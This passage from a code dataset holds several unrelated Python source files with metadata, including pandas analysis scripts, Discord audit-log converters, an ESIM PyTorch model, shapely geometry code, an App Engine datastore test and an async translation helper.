TruncatedPartial.to_csv('TruncatedPartial_test.csv')\npd.options.mode.chained_assignment = None\n\ns2 = TruncatedPartial.iloc[1] # could be any value\nfor i in np.arange(0, len(TruncatedPartial), 1):\n if TruncatedPartial.iloc[i, 4] == 'Sep':\n temp = TruncatedPartial.iloc[i, :]\n if i > 0:\n FHalfT = TruncatedPartial.iloc[i - 1, 4] - TruncatedPartial.iloc[i, 1]\n SHalfT = TruncatedPartial.iloc[i, 2] - TruncatedPartial.iloc[i - 1, 4]\n TruncatedPartial.iloc[i, 2] = TruncatedPartial.iloc[i - 1, 4]\n TruncatedPartial.iloc[i, 3] = FHalfT\n TruncatedPartial.iloc[i, 4] = TruncatedPartial.iloc[i - 1, 4]\n s2[TBCal] = temp[TBCal]\n s2['seg_start'] = TruncatedPartial.iloc[i - 1, 4]\n s2['seg_end'] = temp['seg_end']\n s2['Var'] = SHalfT\n s2['TBlock'] = TruncatedPartial.iloc[i + 1, 4]\n TruncatedPartial = TruncatedPartial.append(s2)\n else:\n TruncatedPartial.iloc[i, 2] = TimeRng[0]\n TruncatedPartial.iloc[i, 3] = TruncatedPartial.iloc[i, 1] - TruncatedPartial.iloc[i, 2]\n TruncatedPartial.iloc[i, 4] = TimeRng[0]\n s2['seg_start'] = TimeRng[0]\n s2['seg_end'] = TruncatedPartial.iloc[i, 2]\n s2['Var'] = s2['seg_end'] - s2['seg_start']\n s2['TBlock'] = TimeRng[1]\n TruncatedPartial = TruncatedPartial.append(s2)\nprint('error might occur here')\n\n\nTruncatedPartial.dropna(axis=0, subset=['TBlock'])\nTruncatedPartial = TruncatedPartial.sort_values(by='seg_start').set_index(\n keys=np.arange(0, len(TruncatedPartial), 1))\n\nfor i in np.arange(0, len(TruncatedPartial), 1):\n TruncatedPartial.loc[:, \"Var\"][i] = hms_to_seconds(TruncatedPartial.loc[:, \"Var\"][i])\n'''\nThis is a test\n'''\nfor i in np.arange(0, len(TruncatedPartial), 1):\n if TruncatedPartial['TBlock'].iloc[i] == 'Sep':\n a = a + 1\n TruncatedPartial['TBlock'].iloc[i] = NaN\n# TruncatedPartial[]\n# TruncatedPartial.to_csv('TruncatedPartial_test1.csv', sep=',')\na = TruncatedPartial.groupby(['TBlock']).sum(axis=1)\nw = []\n# print('is it here ???')\n\nfor m in sorted(set(a.index)):\n Clu = TruncatedPartial[TruncatedPartial['TBlock'] == m]\n Clu = Clu.dropna(how='any')\n if len(Clu) > 0:\n weighted_mean = sum(Clu[TBCal] * Clu['Var']) / sum(Clu['Var'])\n weig_3 = weighted_mean ** (1.0 / 3)\n w.append(weig_3)\n print(' Clu not emp')\n else:\n weig_3 = NaN\n print(' Clu emp')\n w.append(weig_3)\nnewData = copy.deepcopy(a[TBCal]).reset_index()\nnewData[TBCal] = w\nk = '2in5'\n\n\nbi_Continuous_hourlyM = pd.read_pickle(path + 'bi_Continuous_hourlyM.pickle')\nallD = copy.deepcopy(bi_Continuous_hourlyM).set_index(['TBlock'])\n\ndata = newData\nplt.figure()\nplt.ylim(0, 1)\nplt.plot(allD['bi'], label='continuous')\nCompareD = copy.deepcopy(data).set_index(['TBlock'])\nplt.plot(CompareD['bi'],label=k)\nplt.legend()\nplt.show()\nm = pd.merge(allD,data,how='left',left_on='TBlock',right_on='TBlock')\nm = m.set_index(['TBlock'])\nm_drpNA = m.dropna()\n\nprint(stats.pearsonr(m_drpNA['bi_x'],m_drpNA['bi_y']),k, path4.split('/')[-2],len(m_drpNA))\n\n","sub_path":"hourlyM_sparse_data/step2.3_calculatin_V2.py","file_name":"step2.3_calculatin_V2.py","file_ext":"py","file_size_in_byte":9881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"582651670","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 22 19:48:16 2017\n\n@author: Lim Yuan Qing\n\"\"\"\n\nstrModPath = r'C:/Users/yuanq/Dropbox/Yuan Qing/Work/Projects/1. Libraries/3. Python/Modules/mod/'\n\nimport sys\nsys.path.append(strModPath)\nimport win32com.client\nimport pandas as pd\nimport cchardet\nimport zipfile\nimport os\n\ndef get_filepaths(str_directory):\n return [os.path.abspath(file) for file in os.listdir(str_directory)]\n\ndef zip_file(str_zip_full_path, str_file_full_path):\n try:\n str_zip_full_path_new = str_zip_full_path + ('.zip' not in str_zip_full_path) * '.zip'\n obj_zipfile = zipfile.ZipFile(str_zip_full_path_new, 'a', zipfile.ZZIP_DEFLATED)\n obj_zipfile.write(str_file_full_path, str_file_full_path.split('\\\\')[-1])\n obj_zipfile.close()\n return True\n except:\n return False\n\ndef pandasDFToExcel(df, strFilePath, strSheet, blnHeader, blnIndex):\n \"\"\"Saves Pandas dataframe to excel\"\"\"\n strFilePath = str(strFilePath)\n strSheet = str(strSheet)\n if os.path.exists(strFilePath):\n objExcel = win32com.client.DispatchEx('Excel.Application')\n objWb = objExcel.Workbooks.Open(Filename = strFilePath)\n objWb.Sheets(strSheet).Cells.ClearContents()\n objWb.Save()\n objExcel.Quit()\n del objExcel\n \n objExcel = pd.ExcelWriter(strFilePath)\n df.to_excel(objExcel, strSheet, header = blnHeader, index = blnIndex)\n objExcel.save()\n del objExcel\n\ndef inStr(strSubString, strFullString, blnCaseSensitive):\n if blnCaseSensitive:\n return (str(strSubString) in str(strFullString))\n else:\n return (str(strSubString).upper() in str(strFullString).upper())\n \ndef inStrMulti(lstSubStrings, strFullString, blnCaseSensitive):\n if blnCaseSensitive:\n return any(str(subString) in str(strFullString) for subString in lstSubStrings)\n else:\n return any(str(subString).upper() in str(strFullString).upper() for subString in lstSubStrings)\n \ndef isNumeric(string):\n try:\n float(string)\n return True\n except ValueError:\n return False\n \ndef fibonacciNumber(n):\n dic = {}\n for i in range(1, n+1):\n if i == 1 or i ==2:\n dic[i] = 1\n else:\n dic[i] = dic[i-1] + dic[i-2]\n \n return dic[n]\n\ndef convertEncoding(data, newCoding = 'UTF-8'):\n encoding = cchardet.detect(data)['encoding']\n if newCoding.upper() != encoding.upper():\n data = data.decode(encoding, data).encode(newCoding)\n \n return data\n \nif __name__ == '__main__':\n pass","sub_path":"modFunctions3.py","file_name":"modFunctions3.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"273440849","text":"__all__ = ()\n\nfrom ...channel import (\n ChannelFlag, ChannelType, ForumLayout, ForumTag, PermissionOverwrite, SortOrder, VideoQualityMode, VoiceRegion\n)\nfrom ...emoji import create_emoji_from_exclusive_data\n\nfrom ..audit_log_change import AuditLogChange\n\nfrom .shared import _convert_preinstanced, convert_nothing, convert_snowflake, convert_snowflake_array\n\n\ndef convert_snowflake_array__applied_tag_ids(name, data):\n return convert_snowflake_array('applied_tag_ids', data)\n\n\ndef convert_bool__open(name, data):\n before = data.get('old_value', None)\n if (before is not None):\n before = not before\n \n after = data.get('new_value', None)\n if (after is not None):\n after = not after\n \n return AuditLogChange('open', before, after)\n\n\ndef convert_channel_flags(name, data):\n before = data.get('old_value', None)\n if (before is not None):\n before = ChannelFlag(before)\n \n after = data.get('new_value', None)\n if (after is not None):\n after = ChannelFlag(after)\n \n return AuditLogChange('flags', before, after)\n\n\ndef convert_int__auto_archive_after(name, data):\n before = data.get('old_value', None)\n if (before is not None):\n before *= 60\n \n after = data.get('new_value', None)\n if (after is not None):\n after *= 60\n \n return AuditLogChange('auto_archive_after', before, after)\n\n\ndef convert_forum_tags(name, data):\n before = data.get('old_value', None)\n if (before is not None):\n if before:\n before = (*sorted(ForumTag.from_data(tag_data) for tag_data in before),)\n else:\n before = None\n \n after = data.get('new_value', None)\n if (after is not None):\n if after:\n after = (*sorted(ForumTag.from_data(tag_data) for tag_data in after),)\n else:\n after = None\n \n return AuditLogChange('available_tags', before, after)\n\n\ndef convert_int__default_thread_auto_archive_after(name, data):\n before = data.get('old_value', None)\n if (before is not None):\n before *= 60\n \n after = data.get('new_value', None)\n if (after is not None):\n after *= 60\n \n return AuditLogChange('default_thread_auto_archive_after', before, after)\n\n\ndef convert_int__slowmode(name, data):\n return convert_nothing('slowmode', data)\n\n\ndef convert_int__default_thread_slowmode(name, data):\n return convert_nothing('default_thread_slowmode', data)\n\n\ndef convert_permission_overwrites(name, data):\n before = data.get('old_value', None)\n if (before is not None):\n if before:\n before = {\n permission_overwrite.id: permission_overwrite for permission_overwrite in\n (PermissionOverwrite.from_data(overwrite_data) for overwrite_data in before)\n }\n else:\n before = None\n \n after = data.get('new_value', None)\n if (after is not None):\n if after:\n after = {\n permission_overwrite.id: permission_overwrite for permission_overwrite in\n (PermissionOverwrite.from_data(overwrite_data) for overwrite_data in after)\n }\n else:\n after = None\n \n return AuditLogChange('permission_overwrites', before, after)\n\n\ndef convert_video_quality_mode(name, data):\n return _convert_preinstanced('video_quality_mode', data, VideoQualityMode)\n\n\ndef convert_voice_region(name, data):\n return _convert_preinstanced('region', data, VoiceRegion)\n\n\ndef convert_default_thread_reaction(name, data):\n before = data.get('old_value', None)\n if (before is not None):\n before = create_emoji_from_exclusive_data(before)\n \n after = data.get('new_value', None)\n if (after is not None):\n after = create_emoji_from_exclusive_data(after)\n \n return AuditLogChange('default_thread_reaction', before, after) \n\n\ndef default_sort_order(name, data):\n return _convert_preinstanced('default_sort_order', data, SortOrder)\n\n\ndef default_forum_layout(name, data):\n return _convert_preinstanced('default_forum_layout', data, ForumLayout)\n\n\ndef convert_channel_type(name, data):\n return _convert_preinstanced('type', data, ChannelType)\n\n\nCHANNEL_CONVERTERS = {\n 'applied_tags': convert_snowflake_array__applied_tag_ids,\n 'archived': convert_nothing,\n 'auto_archive_duration': convert_int__auto_archive_after,\n 'available_tags': convert_forum_tags,\n 'bitrate': convert_nothing,\n 'default_forum_layout': default_forum_layout,\n 'default_sort_order': default_sort_order,\n 'default_auto_archive_duration': convert_int__default_thread_auto_archive_after,\n 'default_reaction_emoji': convert_default_thread_reaction,\n 'default_thread_rate_limit_per_user': convert_int__default_thread_slowmode,\n 'flags': convert_channel_flags,\n 'invitable': convert_nothing,\n 'locked': convert_bool__open,\n 'name': convert_nothing,\n 'nsfw': convert_nothing,\n 'rate_limit_per_user': convert_int__slowmode,\n 'parent_id': convert_snowflake,\n 'permission_overwrites': convert_permission_overwrites,\n 'position': convert_nothing,\n 'rtc_region': convert_voice_region,\n 'topic': convert_nothing,\n 'type': convert_channel_type,\n 'video_quality_mode': convert_video_quality_mode,\n 'user_limit': convert_nothing,\n}\n","sub_path":"hata/discord/audit_logs/change_converters/channel.py","file_name":"channel.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"636964984","text":"# coding: utf-8\n\n\"\"\"\n blu-trend\n\n This is a package for get trend\n\n OpenAPI spec version: 0.2.7\n Contact: originman@bluehack.net\n\"\"\"\n\nfrom setuptools import setup, find_packages\n\nNAME = \"blu-trend\"\nVERSION = \"0.2.7\"\n# To install the library, run the following\n#\n# python setup.py install\n#\n# prerequisite: setuptools\n# http://pypi.python.org/pypi/setuptools\n\nREQUIRES = [\"selenium\",\n \"chromedriver_binary\"]\n\nsetup(\n name=NAME,\n version=VERSION,\n description=\"get trend package\",\n author_email=\"originman@bluehack.net\",\n url=\"\",\n keywords=[\"blu\", \"blu-trend\"],\n install_requires=REQUIRES,\n packages=find_packages(),\n include_package_data=True,\n long_description=\"\"\"\\\n \"\"\"\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"149819499","text":"import torch\nimport torch.nn as nn\nfrom layers import RNNDropout, Seq2SeqEncoder, SoftmaxAttention, replace_masked, get_mask\n\n# 参考https://github.com/coetaur0/ESIM/blob/master/esim/model.py\nclass ESIM(nn.Module):\n def __init__(self, vocab_size,\n embedding_dim,\n hidden_size,\n embeddings_matrix=None,\n padding_value=0,\n dropout=0.5,\n num_classes=3,\n device=\"cpu\"):\n \"\"\"\n vocab_size: 词典size\n embedding_dim: 词嵌入维度\n hidden_size: 隐层\n embeddings_matrix: size (vocab_size, embedding_dim)\n padding_value: 填充值\n dropout: 辍学率\n num_classes:最后输出的分类数\n device:计算的设备 \n \"\"\"\n super(ESIM, self).__init__()\n\n self.vocab_size = vocab_size\n self.embedding_dim = embedding_dim\n self.hidden_size = hidden_size\n self.num_classes = num_classes\n self.dropout = dropout\n self.device = device\n\n self._word_embedding = nn.Embedding(self.vocab_size,\n self.embedding_dim,\n padding_idx=padding_value,\n _weight=embeddings_matrix)\n\n self._word_embedding.weight.requires_grad = False\n\n if self.dropout:\n self._rnn_dropout = RNNDropout(p = self.dropout)\n \n self._encoding = Seq2SeqEncoder(nn.LSTM, self.embedding_dim, self.hidden_size, bidirectional=True)\n self._attention = SoftmaxAttention()\n\n self._projection = nn.Sequential(nn.Linear(4*2*self.hidden_size,\n self.hidden_size),\n nn.ReLU())\n\n self._composition = Seq2SeqEncoder(nn.LSTM,\n self.hidden_size,\n self.hidden_size,\n bidirectional= True)\n\n self._classification = nn.Sequential(nn.Dropout(p=self.dropout),\n nn.Linear(2*4*self.hidden_size,\n self.hidden_size),\n nn.Tanh(),\n nn.Dropout(p=self.dropout),\n nn.Linear(self.hidden_size,\n self.num_classes))\n # 初始化 所有的权重和偏置\n self.apply(_init_esim_weights)\n\n def forward(self,\n premises,\n premises_lengths,\n hypotheses,\n hypotheses_lengths):\n \"\"\"\n :param premises: 前提 A batch of varaible length sequences of word indices\n representing premises. The batch is assumed to be of size\n (batch, premises_length).\n :param premises_lengths:A 1D tensor containing the lengths of the\n premises in 'premises'.\n :param hypotheses:假设 A batch of varaible length sequences of word indices\n representing hypotheses. The batch is assumed to be of size\n (batch, hypotheses_length).\n :param hypothese_lengths: A 1D tensor containing the lengths of the\n hypotheses in 'hypotheses'.\n :return:\n logits:tensor (batch, num_classes) 包含每个输出类的logits\n probabilities: tensor (batch, num_classes) 包含每个类的概率\n \"\"\"\n premises_mask = get_mask(premises,premises_lengths).to(self.device)\n hypotheses_mask = get_mask(hypotheses,hypotheses_lengths).to(self.device)\n\n embedded_premises = self._word_embedding(premises)\n embedded_hypotheses = self._word_embedding(hypotheses)\n\n if self.dropout:\n embedded_premises = self._rnn_dropout(embedded_premises)\n embedded_hypotheses = self._rnn_dropout(embedded_hypotheses)\n\n encoded_premises = self._encoding(embedded_premises,premises_lengths)\n encoded_hypotheses = self._encoding(embedded_hypotheses,hypotheses_lengths)\n\n attended_premises, attended_hypotheses =\\\n self._attention(encoded_premises,\n premises_mask,\n encoded_hypotheses,\n hypotheses_mask)\n\n enhanced_premises = torch.cat([encoded_premises,\n attended_premises,\n encoded_premises - attended_premises,\n encoded_premises*attended_premises],\n dim=-1)# dim=-1 按列拼接\n enhanced_hypotheses = torch.cat([encoded_hypotheses,\n attended_hypotheses,\n encoded_hypotheses - attended_hypotheses,\n encoded_hypotheses * attended_hypotheses],\n dim=-1)\n\n projected_premises = self._projection(enhanced_premises)\n projected_hypotheses = self._projection(encoded_hypotheses)\n\n if self.dropout:\n projected_premises = self._rnn_dropout(projected_premises)\n projected_hypotheses = self._rnn_dropout(projected_hypotheses)\n\n v_ai = self._composition(projected_premises,premises_lengths)\n v_bj = self._composition(projected_hypotheses,hypotheses_lengths)\n\n v_a_avg = torch.sum(v_ai*premises_mask.unsqueeze(1).transpose(2,1),dim=1)\\\n /torch.sum(premises_mask, dim=1,keepdim=True) # 在第二维增加维度,第三个维度和第二个维度交换\n\n v_b_avg = torch.sum(v_bj * hypotheses_mask.unsqueeze(1).transpose(2, 1), dim=1) \\\n / torch.sum(hypotheses_mask, dim=1, keepdim=True) # 在第二维增加维度,第三个维度和第二个维度交换\n\n v_a_max, _ = replace_masked(v_ai, premises_mask, -1e7).max(dim=1)\n v_b_max, _ = replace_masked(v_bj, hypotheses_mask, -1e7).max(dim=1)\n\n v = torch.cat([v_a_avg, v_a_max, v_b_avg, v_b_max], dim=1)\n\n logits = self._classification(v)\n probabilities = nn.functional.softmax(logits, dim=-1)\n\n return logits, probabilities\n\n def _init_esim_weights(module) :\n \"\"\"\n 初始化ESIM模型的权重和偏置\n \"\"\"\n if isinstance(module, nn.Linear):\n # xavier_uniform_ 保证输入输出方差一致\n nn.init.xavier_uniform_(module.weight.data)\n nn.init.constant_(module.bias.data, 0.0)\n\n elif isinstance(module, nn.LSTM):\n nn.init.xavier_normal_(module.weight_ih_l0.data)\n nn.init.orthogonal_(module.weight_hh_l0.data)\n nn.init.constant_(module.bias_ih_l0.data, 0.0)\n nn.init.constant_(module.bias_hh_l0.data, 0.0)\n hidden_size = module.bias_hh_l0.data.shape[0] // 4\n module.bias_hh_l0.data[hidden_size:(2*hidden_size)] = 1.0\n\n if(module.bidirectional):\n nn.init.xavier_uniform_(module.weight_ih_l0_reverse.data)\n nn.init.orthogonal_(module.weight_hh_l0_reverse.data)\n nn.init.constant_(module.bias_ih_l0_reverse.data, 0.0)\n nn.init.constant_(module.bias_hh_l0.reverse.data, 0.0)\n module.bias_hh_l0_reverse.data[hidden_size:(2*hidden_size)] = 1.0\n\n\n","sub_path":"text_matching/copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":7546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"605498054","text":"list = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]\r\nnew_list = []\r\n\r\nwhile True:\r\n for i in list:\r\n print(i)\r\n new = i\r\n if new <= 5:\r\n new_list.append(new)\r\n list.remove(new)\r\n print(new_list)\r\n else:False\r\n\r\n long = len(list)\r\n sum = int(long) - int(len(list))\r\n if len(new_list) == sum:\r\n print(\"That's It!!\")\r\n False\r\n\r\n\r\n","sub_path":"Less_Than_5.py","file_name":"Less_Than_5.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"596591547","text":"import logging\nimport numpy as np\nfrom scipy.optimize import curve_fit\n\nfrom shapely.geometry import LineString, Polygon, MultiLineString, Point\n\nfrom zeamage.verbose import verbose\nfrom zeamage.verbose import verbose_plot_fit_mediane_line\nfrom zeamage.verbose import verbose_plot_lines\n\nlogger = logging.getLogger(__name__)\n\n\n# --------------------------------------------------------------\n# Linear function\ndef linear_fun(x, a, b):\n return a * x + b\n\n\ndef linear_slope(p1, p2):\n \"\"\"Caclulates the slope of a line given 2 points.\n\n :param p1: point 1 (x,y)\n :param p2: point 2 (x,y)\n\n :return: The slope\n \"\"\"\n return (p2[1] - p1[1]) / (p2[0] - p1[0])\n\n\ndef linear_pointSlope(p, a):\n \"\"\"Return a function a the linear equation given de slope and a point.\n\n :param p: point (x,y)\n :param a: slope\n\n :return: A function\n \"\"\"\n\n def fun(x):\n return a * (x - p[0]) + p[1]\n\n return fun\n\n\n# --------------------------------------------------------------\n# polynomial function: quadratic second order\ndef quadratic_so_fun(x, a, b, c):\n return a * x**2 + b * x + c\n\n\ndef quadratic_vertex(a, b, c):\n \"\"\"The vertex of a quadratic equation is the minimum or maximum point\n of the equation.\"\"\"\n vx = -b / (2 * a)\n vy = quadratic_so_fun(vx, a, b, c)\n return (vx, vy)\n\n\n# --------------------------------------------------------------\ndef perpendicular(line, dist, xlim=(0, 500)):\n \"\"\"Return a LineString, perpendicular to a LineString at a particular\n relative distance.\n \"\"\"\n point = line.interpolate(dist, normalized=True)\n\n def pairs(lst):\n \"\"\" The LineString must be iterate as pair to divide the line in\n segments.\n \"\"\"\n for i in range(1, len(lst)):\n yield lst[i - 1], lst[i]\n\n p1 = None\n p2 = None\n for pair in pairs(list(line.coords)):\n # check with distance for floating point precision\n if LineString([pair[0], pair[1]]).distance(point) < 1e-8:\n p1 = pair[0]\n p2 = pair[1]\n break\n\n # perpendicular have a negative reciprocal slope\n a = -1 / linear_slope(p1, p2)\n f = linear_pointSlope(point.xy, a)\n tx = np.arange(xlim[0], xlim[1], 1)\n return LineString(np.stack((tx, f(tx)), axis=-1))\n\n\n# --------------------------------------------------------------\n# Find mediane line based on skeletonized image\ndef skel_to_coords(skel):\n \"\"\"Tranform white pixel to xy coordinate.\"\"\"\n skel_pts = np.argwhere(skel == 255).transpose()\n skel_x = skel_pts[1]\n skel_y = skel_pts[0]\n skel_range = skel.shape[1]\n return skel_x, skel_y, skel_range\n\n\n@verbose(\n logger=logger,\n multiple=True,\n fun=verbose_plot_fit_mediane_line,\n extra={'args': [1, 2, 4]})\ndef fit_median_line(skel_x, skel_y, skel_range, deg):\n \"\"\"Fit the best polynomila curve to the skeleton points for a given degree.\n :return: linestring\n \"\"\"\n\n # fit the model to the skel\n if deg == 'quadratic':\n fun = quadratic_so_fun\n params = [0, 0, 0]\n else:\n fun = linear_fun\n params = [0, 0]\n try:\n popt, pcov = curve_fit(fun, skel_x, skel_y, p0=params)\n except Exception as e:\n logger.error('Failed to fit curve on skeleton', exc_info=True)\n return None, None\n\n # Apply fitted model\n tx = np.arange(0, skel_range, 1)\n ty = fun(tx, *popt)\n\n return LineString(np.stack((tx, ty), axis=-1)), popt\n\n\ndef intersect_median_line(skel, poly, deg='quadratic'):\n \"\"\"Calculate the mediane line.\n\n Recursive function in order to find the best model.\n We first try a quadratic model to fit curved ears and then if it does\n not work, we try a simple linear model.\n \"\"\"\n # FIXME should not be in the recursive function\n skel_x, skel_y, skel_range = skel_to_coords(skel)\n\n ml, popt = fit_median_line(skel_x, skel_y, skel_range, deg)\n if ml is None and deg == 'quadratic':\n return intersect_median_line(skel, poly, deg=\"linear\")\n if ml is None and deg == 'linear':\n return None\n\n # Check if the fitted function is consitstent\n iml = poly.intersection(ml)\n if deg == 'quadratic':\n vertex = Point(quadratic_vertex(*popt))\n if isinstance(iml, MultiLineString) or poly.contains(vertex):\n return intersect_median_line(skel, poly, deg=\"linear\")\n return iml\n\n\n@verbose(logger=logger, fun=verbose_plot_lines)\ndef geo_process(skel, contour):\n # Convert contour to polygon\n poly = Polygon(shell=contour[:, 0, :])\n # Fit the medial line (quadratic or lienar model) using skeleton\n\n iml = intersect_median_line(skel, poly)\n if iml is not None:\n # Find intermediary axes to measure ear diameter\n xlim = (np.min(poly.exterior.xy[0]) - 1,\n np.max(poly.exterior.xy[0]) + 1)\n imls = [iml]\n for dist in [0.1, 0.25, 0.5, 0.75, 0.9]:\n mlx = perpendicular(iml, dist, xlim)\n imls.append(poly.intersection(mlx))\n\n return imls\n return []\n","sub_path":"zeamage/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":5053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"647008183","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport random\nimport logging\nimport cgi\nimport datetime\nimport webapp2\n\nfrom google.appengine.ext import db\nfrom google.appengine.api import users\nimport time\n\nclass Cars(db.Model):\n model = db.StringProperty(required=True)\n make = db.StringProperty(required=True)\n color = db.StringProperty(required=True)\n value = db.IntegerProperty(required=True)\n\nclass MainPage(webapp2.RequestHandler):\n \"\"\" Queries that use a set of equality filters use the zigzag merge join \n algorithm.\n \"\"\"\n def get(self):\n non_set_cars = []\n for x in range(0, 10):\n model = random.choice([\"SModel\", \"Civic\", \"S2000\"])\n make = random.choice([\"Tesla\", \"Ford\"])\n # The color will never match what we are querying for.\n color = random.choice([\"red\", \"green\", \"blue\"])\n value = x\n car = Cars(model=model, make=make, color=color, value=value)\n \n non_set_cars.append(car)\n db.put(non_set_cars)\n\n set_cars = []\n for x in range(0, 10):\n car = Cars(model=\"SModel\", make=\"Tesla\", color=\"purple\", value=x)\n set_cars.append(car)\n db.put(set_cars)\n\n second_set = []\n for x in range(0, 10):\n car = Cars(model=\"Camry\", make=\"Toyota\", color=\"gold\", value=x)\n second_set.append(car)\n db.put(second_set)\n\n q = Cars.all()\n q.filter(\"model =\", \"SModel\")\n q.filter(\"make =\", \"Tesla\")\n q.filter(\"color =\", \"purple\")\n q.filter(\"value >\", 4) \n q.filter(\"value <\", 6) \n results = q.fetch(100)\n\n q = Cars.all()\n q.filter(\"model =\", \"SModel\")\n q.filter(\"make =\", \"Tesla\")\n q.filter(\"color =\", \"purple\")\n q.filter(\"value >=\", 4) \n q.filter(\"value <=\", 6) \n results_2 = q.fetch(100)\n\n q = Cars.all()\n q.filter(\"model =\", \"Camry\")\n q.filter(\"make =\", \"Toyota\")\n q.filter(\"color =\", \"gold\")\n q.filter(\"value >\", 4) \n q.filter(\"value <=\", 6) \n results_3 = q.fetch(100)\n\n q = Cars.all()\n q.filter(\"model =\", \"Camry\")\n q.filter(\"make =\", \"Toyota\")\n q.filter(\"color =\", \"gold\")\n q.filter(\"value >=\", 4) \n q.filter(\"value <\", 6) \n results_4 = q.fetch(100)\n\n\n db.delete(non_set_cars)\n db.delete(set_cars)\n db.delete(second_set)\n\n if len(results) != 1:\n logging.error(\"Result for query was {0}, expected 1 item\".format(results))\n for result in results:\n logging.info(\"Item: {0}\".format(result.value))\n self.response.set_status(404)\n elif len(results_2) != 3:\n logging.error(\"Result for query was {0}, expected 3 items\".format(results_2))\n self.response.set_status(404)\n elif len(results_3) != 2:\n logging.error(\"Result for query was {0}, expected 2 items\".format(results_3))\n self.response.set_status(404)\n elif len(results_4) != 2:\n logging.error(\"Result for query was {0}, expected 2 items\".format(results_4))\n self.response.set_status(404)\n else:\n self.response.set_status(200)\n\napp = webapp2.WSGIApplication([\n ('/', MainPage),\n], debug=True)\n","sub_path":"python/composite-test/composite.py","file_name":"composite.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"43637025","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# ------------------------------------------------------------\n# File: base.py\n# Created Date: 2020/7/12\n# Created Time: 3:03\n# Author: Hypdncy\n# Author Mail: hypdncy@outlook.com\n# Copyright (c) 2020 Hypdncy\n# ------------------------------------------------------------\n# .::::.\n# .::::::::.\n# :::::::::::\n# ..:::::::::::'\n# '::::::::::::'\n# .::::::::::\n# '::::::::::::::..\n# ..::::::::::::.\n# ``::::::::::::::::\n# ::::``:::::::::' .:::.\n# ::::' ':::::' .::::::::.\n# .::::' :::: .:::::::'::::.\n# .:::' ::::: .:::::::::' ':::::.\n# .::' :::::.:::::::::' ':::::.\n# .::' ::::::::::::::' ``::::.\n# ...::: ::::::::::::' ``::.\n# ````':. ':::::::::' ::::..\n# '.:::::' ':'````..\n# ------------------------------------------------------------\nimport logging\nfrom abc import abstractmethod\nimport asyncio\nfrom aiohttp.client import ClientSession, ClientTimeout\n\nfrom modle.common.loophole.loopholes import Loopholes\nfrom cnf.const import translate_sem, translate_qps, translate_status\n\n\nclass TranBase(object):\n\n def __init__(self, LOOPHOLES: Loopholes):\n self.LOOPHOLES = LOOPHOLES\n self.timeout = ClientTimeout(total=30, connect=10, sock_connect=10, sock_read=10)\n self.tran_count = 0\n\n def _check_en2cn(self):\n for plugin_id, info in self.LOOPHOLES.items():\n if not info['name_cn']:\n raise\n\n async def _tran_http_with_sem(self, reqinfo, sem):\n async with sem:\n return await self._tran_http(reqinfo, sem)\n\n async def _tran_http(self, reqinfo, sem=None):\n await asyncio.sleep(1)\n async with ClientSession(timeout=self.timeout) as session:\n try:\n async with session.request(method=reqinfo[\"method\"], url=reqinfo[\"url\"],\n **reqinfo[\"kwargs\"]) as response:\n data = await response.json()\n return [reqinfo[\"plugin_id\"], reqinfo[\"type_cn\"], data]\n except Exception as e:\n print(e)\n\n async def _async_main(self):\n cn_resinfos = list()\n if not translate_status:\n logging.info(\"------翻译未开启\")\n return cn_resinfos\n logging.info(\"------翻译漏洞总数:{}\".format(self.tran_count))\n\n sem = None\n tran_func = self._tran_http\n en_reqinfos = self._make_en_reqinfos()\n\n if translate_sem > 0:\n tran_func = self._tran_http_with_sem\n sem = asyncio.Semaphore(translate_sem)\n if translate_qps > 0:\n reqtasks = [asyncio.create_task(tran_func(reqinfo, sem)) for reqinfo in en_reqinfos]\n for group in range(int(len(reqtasks) / translate_qps)):\n cn_resinfos.extend(await asyncio.gather(*reqtasks[group * translate_qps:(group + 1) * translate_qps]))\n cn_resinfos.extend(\n await asyncio.gather(*reqtasks[int((len(reqtasks) / translate_qps)) * translate_qps:]))\n else:\n reqtasks = [asyncio.create_task(tran_func(reqinfo)) for reqinfo in en_reqinfos]\n cn_resinfos = await asyncio.gather(*reqtasks)\n\n return cn_resinfos\n\n @abstractmethod\n def _make_en_reqinfos(self):\n pass\n\n @abstractmethod\n def _analysis_cn_resinfo(self, resinfo):\n pass\n\n def run(self):\n cn_resinfos = asyncio.run(self._async_main())\n for plugin_id, type_cn, resinfo in cn_resinfos:\n self.LOOPHOLES[plugin_id][type_cn] = self._analysis_cn_resinfo(resinfo)\n self._check_en2cn()\n self.LOOPHOLES._dump_loops()\n logging.info(\"------翻译完成\")\n","sub_path":"modle/common/translate/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"371439827","text":"\"\"\"\nGraphs 